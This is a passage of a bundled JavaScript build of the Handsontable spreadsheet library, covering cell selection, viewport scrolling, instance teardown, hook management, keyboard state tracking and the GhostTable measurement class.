_number.rangeEachReverse)(instance.countCols() - 1, function (visualIndex) { if (instance.isEmptyCol(visualIndex)) { emptyColumns += 1; } else if (ending === true) { return false; } }); return emptyColumns; }; /** * Check if all cells in the row declared by the `row` argument are empty. * * @memberof Core# * @function isEmptyRow * @param {Number} row Visual row index. * @returns {Boolean} `true` if the row at the given `row` is empty, `false` otherwise. */ this.isEmptyRow = function (row) { return priv.settings.isEmptyRow.call(instance, row); }; /** * Check if all cells in the the column declared by the `column` argument are empty. * * @memberof Core# * @function isEmptyCol * @param {Number} column Column index. * @returns {Boolean} `true` if the column at the given `col` is empty, `false` otherwise. */ this.isEmptyCol = function (column) { return priv.settings.isEmptyCol.call(instance, column); }; /** * Select cell specified by `row` and `column` values or a range of cells finishing at `endRow`, `endCol`. If the table * was configured to support data column properties that properties can be used to making a selection. * * By default, viewport will be scrolled to the selection. After the `selectCell` method had finished, the instance * will be listening to keyboard input on the document. * * @example * ```js * // select a single cell * hot.selectCell(2, 4); * // select a single cell using column property * hot.selectCell(2, 'address'); * // select a range of cells * hot.selectCell(2, 4, 3, 5); * // select a range of cells using column properties * hot.selectCell(2, 'address', 3, 'phone_number'); * // select a range of cells without scrolling to them * hot.selectCell(2, 'address', 3, 'phone_number', false); * ``` * * @memberof Core# * @function selectCell * @param {Number} row Visual row index. * @param {Number|String} column Visual column index or column property. * @param {Number} [endRow] Visual end row index (if selecting a range). * @param {Number|String} [endColumn] Visual end column index or column property (if selecting a range). * @param {Boolean} [scrollToCell=true] If `true`, the viewport will be scrolled to the selection. * @param {Boolean} [changeListener=true] If `false`, Handsontable will not change keyboard events listener to himself. * @returns {Boolean} `true` if selection was successful, `false` otherwise. */ this.selectCell = function (row, column, endRow, endColumn) { var scrollToCell = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : true; var changeListener = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : true; if ((0, _mixed.isUndefined)(row) || (0, _mixed.isUndefined)(column)) { return false; } return this.selectCells([[row, column, endRow, endColumn]], scrollToCell, changeListener); }; /** * Make multiple, non-contiguous selection specified by `row` and `column` values or a range of cells * finishing at `endRow`, `endColumn`. The method supports two input formats which are the same as that * produces by `getSelected` and `getSelectedRange` methods. * * By default, viewport will be scrolled to selection. After the `selectCells` method had finished, the instance * will be listening to keyboard input on the document. * * @example * ```js * // Using an array of arrays. * hot.selectCells([[1, 1, 2, 2], [3, 3], [6, 2, 0, 2]]); * // Using an array of arrays with defined columns as props. * hot.selectCells([[1, 'id', 2, 'first_name'], [3, 'full_name'], [6, 'last_name', 0, 'first_name']]); * // Using an array of CellRange objects (produced by `.getSelectedRange()` method). * const selected = hot.getSelectedRange(); * * selected[0].from.row = 0; * selected[0].from.col = 0; * * hot.selectCells(selected); * ``` * * @memberof Core# * @since 0.38.0 * @function selectCells * @param {Array[]|CellRange[]} coords Visual coords passed as an array of array (`[[rowStart, columnStart, rowEnd, columnEnd], ...]`) * the same format as `getSelected` method returns or as an CellRange objects * which is the same format what `getSelectedRange` method returns. * @param {Boolean} [scrollToCell=true] If `true`, the viewport will be scrolled to the selection. * @param {Boolean} [changeListener=true] If `false`, Handsontable will not change keyboard events listener to himself. * @returns {Boolean} `true` if selection was successful, `false` otherwise. */ this.selectCells = function () { var coords = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [[]]; var scrollToCell = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; var changeListener = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; if (scrollToCell === false) { preventScrollingToCell = true; } var wasSelected = selection.selectCells(coords); if (wasSelected && changeListener) { instance.listen(); } preventScrollingToCell = false; return wasSelected; }; /** * Select the cell specified by the `row` and `prop` arguments, or a range finishing at `endRow`, `endProp`. * By default, viewport will be scrolled to selection. * * @deprecated * @memberof Core# * @function selectCellByProp * @param {Number} row Visual row index. * @param {String} prop Property name. * @param {Number} [endRow] visual end row index (if selecting a range). * @param {String} [endProp] End property name (if selecting a range). * @param {Boolean} [scrollToCell=true] If `true`, viewport will be scrolled to the selection. * @param {Boolean} [changeListener=true] If `false`, Handsontable will not change keyboard events listener to himself. * @returns {Boolean} `true` if selection was successful, `false` otherwise. */ this.selectCellByProp = function (row, prop, endRow, endProp) { var scrollToCell = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : true; var changeListener = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : true; (0, _console.warn)((0, _templateLiteralTag.toSingleLine)(_templateObject())); return this.selectCells([[row, prop, endRow, endProp]], scrollToCell, changeListener); }; /** * Select column specified by `startColumn` visual index, column property or a range of columns finishing at `endColumn`. * * @example * ```js * // Select column using visual index. * hot.selectColumns(1); * // Select column using column property. * hot.selectColumns('id'); * // Select range of columns using visual indexes. * hot.selectColumns(1, 4); * // Select range of columns using column properties. * hot.selectColumns('id', 'last_name'); * ``` * * @memberof Core# * @since 0.38.0 * @function selectColumns * @param {Number} startColumn The visual column index from which the selection starts. * @param {Number} [endColumn=startColumn] The visual column index to which the selection finishes. If `endColumn` * is not defined the column defined by `startColumn` will be selected. * @returns {Boolean} `true` if selection was successful, `false` otherwise. */ this.selectColumns = function (startColumn) { var endColumn = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : startColumn; return selection.selectColumns(startColumn, endColumn); }; /** * Select row specified by `startRow` visual index or a range of rows finishing at `endRow`. * * @example * ```js * // Select row using visual index. * hot.selectRows(1); * // Select range of rows using visual indexes. * hot.selectRows(1, 4); * ``` * * @memberof Core# * @since 0.38.0 * @function selectRows * @param {Number} startRow The visual row index from which the selection starts. * @param {Number} [endRow=startRow] The visual row index to which the selection finishes. If `endRow` * is not defined the row defined by `startRow` will be selected. * @returns {Boolean} `true` if selection was successful, `false` otherwise. */ this.selectRows = function (startRow) { var endRow = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : startRow; return selection.selectRows(startRow, endRow); }; /** * Deselects the current cell selection on the table. * * @memberof Core# * @function deselectCell */ this.deselectCell = function () { selection.deselect(); }; /** * Select the whole table. The previous selection will be overwritten. * * @since 0.38.2 * @memberof Core# * @function selectAll */ this.selectAll = function () { preventScrollingToCell = true; selection.selectAll(); preventScrollingToCell = false; }; /** * Scroll viewport to coordinates specified by the `row` and `column` arguments. * * @memberof Core# * @function scrollViewportTo * @param {Number} [row] Visual row index. * @param {Number} [column] Visual column index. * @param {Boolean} [snapToBottom = false] If `true`, viewport is scrolled to show the cell on the bottom of the table. * @param {Boolean} [snapToRight = false] If `true`, viewport is scrolled to show the cell on the right side of the table. * @returns {Boolean} `true` if scroll was successful, `false` otherwise. */ this.scrollViewportTo = function (row, column) { var snapToBottom = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var snapToRight = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; var snapToTop = !snapToBottom; var snapToLeft = !snapToRight; var result = false; if (row !== void 0 && column !== void 0) { result = instance.view.scrollViewport(new _src.CellCoords(row, column), snapToTop, snapToRight, snapToBottom, snapToLeft); } if (typeof row === 'number' && typeof column !== 'number') { result = instance.view.scrollViewportVertically(row, snapToTop, snapToBottom); } if (typeof column === 'number' && typeof row !== 'number') { result = instance.view.scrollViewportHorizontally(column, snapToRight, snapToLeft); } return result; }; /** * Removes the table from the DOM and destroys the instance of the Handsontable. * * @memberof Core# * @function destroy * @fires Hooks#afterDestroy */ this.destroy = function () { instance._clearTimeouts(); instance._clearImmediates(); if (instance.view) { // in case HT is destroyed before initialization has finished instance.view.destroy(); } if (dataSource) { dataSource.destroy(); } dataSource = null; (0, _keyStateObserver.stopObserving)(); if (false) { var licenseInfo = document.querySelector('#hot-display-license-info'); if (licenseInfo) { licenseInfo.parentNode.removeChild(licenseInfo); } } (0, _element.empty)(instance.rootElement); eventManager.destroy(); if (editorManager) { editorManager.destroy(); } instance.runHooks('afterDestroy'); _pluginHooks.default.getSingleton().destroy(instance); (0, _object.objectEach)(instance, function (property, key, obj) { // replace instance methods with post mortem if ((0, _function.isFunction)(property)) { obj[key] = postMortem(key); } else if (key !== 'guid') { // replace instance properties with null (restores memory) // it should not be necessary but this prevents a memory leak side effects that show itself in Jasmine tests obj[key] = null; } }); instance.isDestroyed = true; // replace private properties with null (restores memory) // it should not be necessary but this prevents a memory leak side effects that show itself in Jasmine tests if (datamap) { datamap.destroy(); } datamap = null; priv = null; grid = null; selection = null; editorManager = null; instance = null; GridSettings = null; }; /** * Replacement for all methods after Handsotnable was destroyed. * * @private */ function postMortem(method) { return function () { throw new Error("The \"".concat(method, "\" method cannot be called because this Handsontable instance has been destroyed")); }; } /** * Returns the active editor class instance. * * @memberof Core# * @function getActiveEditor * @returns {BaseEditor} The active editor instance. */ this.getActiveEditor = function () { return editorManager.getActiveEditor(); }; /** * Returns plugin instance by provided its name. * * @memberof Core# * @function getPlugin * @param {String} pluginName The plugin name. * @returns {BasePlugin} The plugin instance. */ this.getPlugin = function (pluginName) { return (0, _plugins.getPlugin)(this, pluginName); }; /** * Returns the Handsontable instance. * * @memberof Core# * @function getInstance * @returns {Handsontable} The Handsontable instance. */ this.getInstance = function () { return instance; }; /** * Adds listener to the specified hook name (only for this Handsontable instance). * * @memberof Core# * @function addHook * @see Hooks#add * @param {String} key Hook name (see {@link Hooks}). * @param {Function|Array} callback Function or array of functions. * @example * ```js * hot.addHook('beforeInit', myCallback); * ``` */ this.addHook = function (key, callback) { _pluginHooks.default.getSingleton().add(key, callback, instance); }; /** * Check if for a specified hook name there are added listeners (only for this Handsontable instance). All available * hooks you will find {@link Hooks}. * * @memberof Core# * @function hasHook * @see Hooks#has * @param {String} key Hook name * @return {Boolean} * * @example * ```js * const hasBeforeInitListeners = hot.hasHook('beforeInit'); * ``` */ this.hasHook = function (key) { return _pluginHooks.default.getSingleton().has(key, instance); }; /** * Adds listener to specified hook name (only for this Handsontable instance). After the listener is triggered, * it will be automatically removed. * * @memberof Core# * @function addHookOnce * @see Hooks#once * @param {String} key Hook name (see {@link Hooks}). * @param {Function|Array} callback Function or array of functions. * @example * ```js * hot.addHookOnce('beforeInit', myCallback); * ``` */ this.addHookOnce = function (key, callback) { _pluginHooks.default.getSingleton().once(key, callback, instance); }; /** * Removes the hook listener previously registered with {@link Core#addHook}. * * @memberof Core# * @function removeHook * @see Hooks#remove * @param {String} key Hook name. * @param {Function} callback Reference to the function which has been registered using {@link Core#addHook}. * * @example * ```js * hot.removeHook('beforeInit', myCallback); * ``` */ this.removeHook = function (key, callback) { _pluginHooks.default.getSingleton().remove(key, callback, instance); }; /** * Run the callbacks for the hook provided in the `key` argument using the parameters given in the other arguments. * * @memberof Core# * @function runHooks * @see Hooks#run * @param {String} key Hook name. * @param {*} [p1] Argument passed to the callback. * @param {*} [p2] Argument passed to the callback. * @param {*} [p3] Argument passed to the callback. * @param {*} [p4] Argument passed to the callback. * @param {*} [p5] Argument passed to the callback. * @param {*} [p6] Argument passed to the callback. * @returns {*} * * @example * ```js * // Run built-in hook * hot.runHooks('beforeInit'); * // Run custom hook * hot.runHooks('customAction', 10, 'foo'); * ``` */ this.runHooks = function (key, p1, p2, p3, p4, p5, p6) { return _pluginHooks.default.getSingleton().run(instance, key, p1, p2, p3, p4, p5, p6); }; /** * Get language phrase for specified dictionary key. * * @memberof Core# * @function getTranslatedPhrase * @since 0.35.0 * @param {String} dictionaryKey Constant which is dictionary key. * @param {*} extraArguments Arguments which will be handled by formatters. * @returns {String} */ this.getTranslatedPhrase = function (dictionaryKey, extraArguments) { return (0, _i18n.getTranslatedPhrase)(priv.settings.language, dictionaryKey, extraArguments); }; this.timeouts = []; /** * Sets timeout. Purpose of this method is to clear all known timeouts when `destroy` method is called. * * @param {Number|Function} handle Handler returned from setTimeout or function to execute (it will be automatically wraped * by setTimeout function). * @param {Number} [delay=0] If first argument is passed as a function this argument set delay of the execution of that function. * @private */ this._registerTimeout = function (handle) { var delay = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var handleFunc = handle; if (typeof handleFunc === 'function') { handleFunc = setTimeout(handleFunc, delay); } this.timeouts.push(handleFunc); }; /** * Clears all known timeouts. * * @private */ this._clearTimeouts = function () { (0, _array.arrayEach)(this.timeouts, function (handler) { clearTimeout(handler); }); }; this.immediates = []; /** * Execute function execution to the next event loop cycle. Purpose of this method is to clear all known timeouts when `destroy` method is called. * * @param {Function} callback Function to be delayed in execution. * @private */ this._registerImmediate = function (callback) { this.immediates.push(setImmediate(callback)); }; /** * Clears all known timeouts. * * @private */ this._clearImmediates = function () { (0, _array.arrayEach)(this.immediates, function (handler) { clearImmediate(handler); }); }; /** * Refresh selection borders. This is temporary method relic after selection rewrite. * * @private * @param {Boolean} [revertOriginal=false] If `true`, the previous value will be restored. Otherwise, the edited value will be saved. * @param {Boolean} [prepareEditorIfNeeded=true] If `true` the editor under the selected cell will be prepared to open. */ this._refreshBorders = function () { var revertOriginal = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var prepareEditorIfNeeded = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; editorManager.destroyEditor(revertOriginal); instance.view.render(); if (prepareEditorIfNeeded && selection.isSelected()) { editorManager.prepareEditor(); } }; _pluginHooks.default.getSingleton().run(instance, 'construct'); } /***/ }), /* 121 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.columnFactory = columnFactory; var _object = __webpack_require__(2); /* eslint-disable import/prefer-default-export */ /** * Factory for columns constructors. * * @param {Object} GridSettings * @param {Array} conflictList * @return {Object} ColumnSettings */ function columnFactory(GridSettings, conflictList) { function ColumnSettings() {} (0, _object.inherit)(ColumnSettings, GridSettings); // Clear conflict settings for (var i = 0, len = conflictList.length; i < len; i++) { ColumnSettings.prototype[conflictList[i]] = void 0; } return ColumnSettings; } /***/ }), /* 122 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.spreadsheetColumnLabel = spreadsheetColumnLabel; exports.spreadsheetColumnIndex = spreadsheetColumnIndex; exports.createSpreadsheetData = createSpreadsheetData; exports.createSpreadsheetObjectData = createSpreadsheetObjectData; exports.createEmptySpreadsheetData = createEmptySpreadsheetData; exports.translateRowsToColumns = translateRowsToColumns; exports.cellMethodLookupFactory = cellMethodLookupFactory; var _cellTypes = __webpack_require__(119); var _object = __webpack_require__(2); var COLUMN_LABEL_BASE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; var COLUMN_LABEL_BASE_LENGTH = COLUMN_LABEL_BASE.length; /** * Generates spreadsheet-like column names: A, B, C, ..., Z, AA, AB, etc. * * @param {Number} index Column index. * @returns {String} */ function spreadsheetColumnLabel(index) { var dividend = index + 1; var columnLabel = ''; var modulo; while (dividend > 0) { modulo = (dividend - 1) % COLUMN_LABEL_BASE_LENGTH; columnLabel = String.fromCharCode(65 + modulo) + columnLabel; dividend = parseInt((dividend - modulo) / COLUMN_LABEL_BASE_LENGTH, 10); } return columnLabel; } /** * Generates spreadsheet-like column index from theirs labels: A, B, C ...., Z, AA, AB, etc. * * @param {String} label Column label. * @returns {Number} */ function spreadsheetColumnIndex(label) { var result = 0; if (label) { for (var i = 0, j = label.length - 1; i < label.length; i += 1, j -= 1) { result += Math.pow(COLUMN_LABEL_BASE_LENGTH, j) * (COLUMN_LABEL_BASE.indexOf(label[i]) + 1); } } result -= 1; return result; } /** * Creates 2D array of Excel-like values "A1", "A2", ... * * @param {Number} rows Number of rows to generate. * @param {Number} columns Number of columns to generate. * @returns {Array} */ function createSpreadsheetData() { var rows = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 100; var columns = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 4; var _rows = []; var i; var j; for (i = 0; i < rows; i++) { var row = []; for (j = 0; j < columns; j++) { row.push(spreadsheetColumnLabel(j) + (i + 1)); } _rows.push(row); } return _rows; } /** * Creates 2D array of Excel-like values "A1", "A2", as an array of objects. * * @param {Number} rows Number of rows to generate. * @param {Number} colCount Number of columns to generate. * @returns {Array} */ function createSpreadsheetObjectData() { var rows = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 100; var colCount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 4; var _rows = []; var i; var j; for (i = 0; i < rows; i++) { var row = {}; for (j = 0; j < colCount; j++) { row["prop".concat(j)] = spreadsheetColumnLabel(j) + (i + 1); } _rows.push(row); } return _rows; } /** * Generates an empty data object. * * @param {Number} rows Number of rows to generate. * @param {Number} columns Number of columns to generate * @returns {Array} */ function createEmptySpreadsheetData(rows, columns) { var data = []; var row; for (var i = 0; i < rows; i++) { row = []; for (var j = 0; j < columns; j++) { row.push(''); } data.push(row); } return data; } function translateRowsToColumns(input) { var output = []; var i; var ilen; var j; var jlen; var olen = 0; for (i = 0, ilen = input.length; i < ilen; i++) { for (j = 0, jlen = input[i].length; j < jlen; j++) { if (j === olen) { output.push([]); olen += 1; } output[j].push(input[i][j]); } } return output; } /** * Factory that produces a function for searching methods (or any properties) which could be defined directly in * table configuration or implicitly, within cell type definition. * * For example: renderer can be defined explicitly using "renderer" property in column configuration or it can be * defined implicitly using "type" property. * * Methods/properties defined explicitly always takes precedence over those defined through "type". * * If the method/property is not found in an object, searching is continued recursively through prototype chain, until * it reaches the Object.prototype. * * * @param methodName {String} name of the method/property to search (i.e. 'renderer', 'validator', 'copyable') * @param allowUndefined {Boolean} [optional] if false, the search is continued if methodName has not been found in cell "type" * @returns {Function} */ function cellMethodLookupFactory(methodName, allowUndefined) { var isUndefinedAllowed = typeof allowUndefined === 'undefined' ? true : allowUndefined; return function cellMethodLookup(row, col) { return function getMethodFromProperties(properties) { if (!properties) { return; // method not found } else if ((0, _object.hasOwnProperty)(properties, methodName) && properties[methodName] !== void 0) { // check if it is own and is not empty return properties[methodName]; // method defined directly } else if ((0, _object.hasOwnProperty)(properties, 'type') && properties.type) { // check if it is own and is not empty if (typeof properties.type !== 'string') { throw new Error('Cell type must be a string '); } var type = (0, _cellTypes.getCellType)(properties.type); if ((0, _object.hasOwnProperty)(type, methodName)) { return type[methodName]; // method defined in type. } else if (isUndefinedAllowed) { return; // method does not defined in type (eg. validator), returns undefined } } return getMethodFromProperties(Object.getPrototypeOf(properties)); }(typeof row === 'number' ? this.getCellMeta(row, col) : row); }; } /***/ }), /* 123 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports._getRefCount = _getRefCount; exports._resetState = _resetState; exports.isPressed = isPressed; exports.isPressedCtrlKey = isPressedCtrlKey; exports.startObserving = startObserving; exports.stopObserving = stopObserving; var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _unicode = __webpack_require__(32); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var eventManager = new _eventManager.default(); var pressedKeys = new Set(); var refCount = 0; /** * Begins observing keyboard keys states. */ function startObserving() { if (refCount === 0) { eventManager.addEventListener(document, 'keydown', function (event) { if (!pressedKeys.has(event.keyCode)) { pressedKeys.add(event.keyCode); } }); eventManager.addEventListener(document, 'keyup', function (event) { if (pressedKeys.has(event.keyCode)) { pressedKeys.delete(event.keyCode); } }); eventManager.addEventListener(document, 'visibilitychange', function () { if (document.hidden) { pressedKeys.clear(); } }); eventManager.addEventListener(window, 'blur', function () { pressedKeys.clear(); }); } refCount += 1; } /** * Stops observing keyboard keys states and clear all previously saved states. */ function stopObserving() { if (refCount > 0) { refCount -= 1; } if (refCount === 0) { _resetState(); } } /** * Remove all listeners attached to the DOM and clear all previously saved states. */ function _resetState() { eventManager.clearEvents(); pressedKeys.clear(); refCount = 0; } /** * Checks if provided keyCode or keyCodes are pressed. * * @param {String} keyCodes The key codes passed as a string defined in helpers/unicode.js file delimited with '|'. * @return {Boolean} */ function isPressed(keyCodes) { return Array.from(pressedKeys.values()).some(function (_keyCode) { return (0, _unicode.isKey)(_keyCode, keyCodes); }); } /** * Checks if ctrl keys are pressed. * * @return {Boolean} */ function isPressedCtrlKey() { var values = Array.from(pressedKeys.values()); return values.some(function (_keyCode) { return (0, _unicode.isCtrlMetaKey)(_keyCode); }); } /** * Returns reference count. Useful for debugging and testing purposes. * * @return {Number} */ function _getRefCount() { return refCount; } /***/ }), /* 124 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _array = __webpack_require__(3); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class GhostTable * @util */ var GhostTable = /*#__PURE__*/ function () { function GhostTable(hotInstance) { _classCallCheck(this, GhostTable); /** * Handsontable instance. * * @type {Core} */ this.hot = hotInstance; /** * Container element where every table will be injected. * * @type {HTMLElement|null} */ this.container = null; /** * Flag which determine is table was injected to DOM. * * @type {Boolean} */ this.injected = false; /** * Added rows collection. * * @type {Array} */ this.rows = []; /** * Added columns collection. * * @type {Array} */ this.columns = []; /** * Samples prepared for calculations. * * @type {Map} * @default {null} */ this.samples = null; /** * Ghost table settings. * * @type {Object} * @default {Object} */ this.settings = { useHeaders: true }; } /** * Add row. * * @param {Number} row Row index. * @param {Map} samples Samples Map object. */ _createClass(GhostTable, [{ key: "addRow", value: function addRow(row, samples) { if (this.columns.length) { throw new Error('Doesn\'t support multi-dimensional table'); } if (!this.rows.length) { this.container = this.createContainer(this.hot.rootElement.className); } var rowObject = { row: row }; this.rows.push(rowObject); this.samples = samples; this.table = this.createTable(this.hot.table.className); this.table.colGroup.appendChild(this.createColGroupsCol()); this.table.tr.appendChild(this.createRow(row)); this.container.container.appendChild(this.table.fragment); rowObject.table = this.table.table; } /** * Add a row consisting of the column headers. */ }, { key: "addColumnHeadersRow", value: function addColumnHeadersRow(samples) { var colHeader = this.hot.getColHeader(0); if (colHeader !== null && colHeader !== void 0) { var rowObject = { row: -1 }; this.rows.push(rowObject); this.container = this.createContainer(this.hot.rootElement.className); this.samples = samples; this.table = this.createTable(this.hot.table.className); this.table.colGroup.appendChild(this.createColGroupsCol()); this.table.tHead.appendChild(this.createColumnHeadersRow()); this.container.container.appendChild(this.table.fragment); rowObject.table = this.table.table; } } /** * Add column. * * @param {Number} column Column index. * @param {Map} samples Samples Map object. */ }, { key: "addColumn", value: function addColumn(column, samples) { if (this.rows.length) { throw new Error('Doesn\'t support multi-dimensional table'); } if (!this.columns.length) { this.container = this.createContainer(this.hot.rootElement.className); } var columnObject = { col: column }; this.columns.push(columnObject); this.samples = samples; this.table = this.createTable(this.hot.table.className); if (this.getSetting('useHeaders') && this.hot.getColHeader(column) !== null) { this.hot.view.appendColHeader(column, this.table.th); } this.table.tBody.appendChild(this.createCol(column)); this.container.container.appendChild(this.table.fragment); columnObject.table = this.table.table; } /** * Get calculated heights. * * @param {Function} callback Callback which will be fired for each calculated row. */ }, { key: "getHeights", value: function getHeights(callback) { if (!this.injected) { this.injectTable(); } (0, _array.arrayEach)(this.rows, function (row) { // -1 <- reduce border-top from table callback(row.row, (0, _element.outerHeight)(row.table) - 1); }); } /** * Get calculated widths. * * @param {Function} callback Callback which will be fired for each calculated column. */ }, { key: "getWidths", value: function getWidths(callback) { if (!this.injected) { this.injectTable(); } (0, _array.arrayEach)(this.columns, function (column) { callback(column.col, (0, _element.outerWidth)(column.table)); }); } /** * Set the Ghost Table settings to the provided object. * * @param {Object} settings New Ghost Table Settings */ }, { key: "setSettings", value: function setSettings(settings) { this.settings = settings; } /** * Set a single setting of the Ghost Table. * * @param {String} name Setting name. * @param {*} value Setting value. */ }, { key: "setSetting", value: function setSetting(name, value) { if (!this.settings) { this.settings = {}; } this.settings[name] = value; } /** * Get the Ghost Table settings. * * @returns {Object|null} */ }, { key: "getSettings", value: function getSettings() { return this.settings; } /** * Get a single Ghost Table setting. * * @param {String} name * @returns {Boolean|null} */ }, { key: "getSetting", value: function getSetting(name) { if (this.settings) { return this.settings[name]; } return null; } /** * Create colgroup col elements. * * @returns {DocumentFragment} */ }, { key: "createColGroupsCol", value: function createColGroupsCol() { var _this = this; var d = document; var fragment = d.createDocumentFragment(); if (this.hot.hasRowHeaders()) { fragment.appendChild(this.createColElement(-1)); } this.samples.forEach(function (sample) { (0, _array.arrayEach)(sample.strings, function (string) { fragment.appendChild(_this.createColElement(string.col)); }); }); return fragment; } /** * Create table row element. * * @param {Number} row Row index. * @returns {DocumentFragment} Returns created table row elements. */ }, { key: "createRow", value: function createRow(row) { var _this2 = this; var d = document; var fragment = d.createDocumentFragment(); var th = d.createElement('th'); if (this.hot.hasRowHeaders()) { this.hot.view.appendRowHeader(row, th); fragment.appendChild(th); } this.samples.forEach(function (sample) { (0, _array.arrayEach)(sample.strings, function (string) { var column = string.col; var cellProperties = _this2.hot.getCellMeta(row, column); cellProperties.col = column; cellProperties.row = row; var renderer = _this2.hot.getCellRenderer(cellProperties); var td = d.createElement('td'); renderer(_this2.hot, td, row, column, _this2.hot.colToProp(column), string.value, cellProperties); fragment.appendChild(td); }); }); return fragment; } }, { key: "createColumnHeadersRow", value: function createColumnHeadersRow() { var _this3 = this; var d = document; var fragment = d.createDocumentFragment(); if (this.hot.hasRowHeaders()) { var th = d.createElement('th'); this.hot.view.appendColHeader(-1, th); fragment.appendChild(th); } this.samples.forEach(function (sample) { (0, _array.arrayEach)(sample.strings, function (string) { var column = string.col; var th = d.createElement('th'); _this3.hot.view.appendColHeader(column, th); fragment.appendChild(th); }); }); return fragment; } /** * Create table column elements. * * @param {Number} column Column index. * @returns {DocumentFragment} Returns created column table column elements. */ }, { key: "createCol", value: function createCol(column) { var _this4 = this; var d = document; var fragment = d.createDocumentFragment(); this.samples.forEach(function (sample) { (0, _array.arrayEach)(sample.strings, function (string) { var row = string.row; var cellProperties = _this4.hot.getCellMeta(row, column); cellProperties.col = column; cellProperties.row = row; var renderer = _this4.hot.getCellRenderer(cellProperties); var td = d.createElement('td'); var tr = d.createElement('tr'); // Indicate that this element is created and supported by GhostTable. It can be useful to // exclude rendering performance costly logic or exclude logic which doesn't work within a hidden table. td.setAttribute('ghost-table', 1); renderer(_this4.hot, td, row, column, _this4.hot.colToProp(column), string.value, cellProperties); tr.appendChild(td); fragment.appendChild(tr); }); }); return fragment; } /** * Remove table from document and reset internal state. */ }, { key: "clean", value: function clean() { this.rows.length = 0; this.rows[-1] = void 0; this.columns.length = 0; if (this.samples) { this.samples.clear(); } this.samples = null; this.removeTable(); } /** * Inject generated table into document. * * @param {HTMLElement} [parent=null] */ }, { key: "injectTable", value: function injectTable() { var parent = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; if (!this.injected) { (parent || this.hot.rootElement).appendChild(this.container.fragment); this.injected = true; } } /** * Remove table from document. */ }, { key: "removeTable", value: function removeTable() { if (this.injected && this.container.container.parentNode) { this.container.container.parentNode.removeChild(this.container.container); this.container = null; this.injected = false; } } /** * Create col element. * * @param {Number} column Column index. * @returns {HTMLElement} */ }, { key: "createColElement", value: function createColElement(column) { var d = document; var col = d.createElement('col'); col.style.width = "".concat(this.hot.view.wt.wtTable.getStretchedColumnWidth(column), "px"); return col; } /** * Create table element. * * @param {String} className * @returns {Object} */ }, { key: "createTable", value: function createTable() { var className = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ''; var d = document; var fragment = d.createDocumentFragment(); var table = d.createElement('table'); var tHead = d.createElement('thead'); var tBody = d.createElement('tbody'); var colGroup = d.createElement('colgroup'); var tr = d.createElement('tr'); var th = d.createElement('th'); if (this.isVertical()) { table.appendChild(colGroup); } if (this.isHorizontal()) { tr.appendChild(th); tHead.appendChild(tr); table.style.tableLayout = 'auto'; table.style.width = 'auto'; } table.appendChild(tHead); if (this.isVertical()) { tBody.appendChild(tr); } table.appendChild(tBody); (0, _element.addClass)(table, className); fragment.appendChild(table); return { fragment: fragment, table: table, tHead: tHead, tBody: tBody, colGroup: colGroup, tr: tr, th: th }; } /** * Create container for tables. * * @param {String} className * @returns {Object} */ }, { key: "createContainer", value: function createContainer() { var className = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ''; var d = document; var fragment = d.createDocumentFragment(); var container = d.createElement('div'); var containerClassName = "htGhostTable htAutoSize ".concat(className.trim()); (0, _element.addClass)(container, containerClassName); fragment.appendChild(container); return { fragment: fragment, container: container }; } /** * Checks if table is raised vertically (checking rows). * * @returns {Boolean} */ }, { key: "isVertical", value: function isVertical() { return !!(this.rows.length && !this.columns.length); } /** * Checks if table is raised horizontally (checking columns). * * @returns {Boolean} */ }, { key: "isHorizontal", value: function isHorizontal() { return !!(this.columns.length && !this.rows.length); } }]); return GhostTable; }(); var _default = GhostTable; exports.default = _default; /***/ }), /* 125 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _array = __webpack_require__(3); var _object = __webpack_require__(2); var _number = __webpack_require__(9); function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } var MIXIN_NAME = 'arrayMapper'; /** * @type {Object} */ var arrayMapper = { _arrayMap: [], /** * Get translated 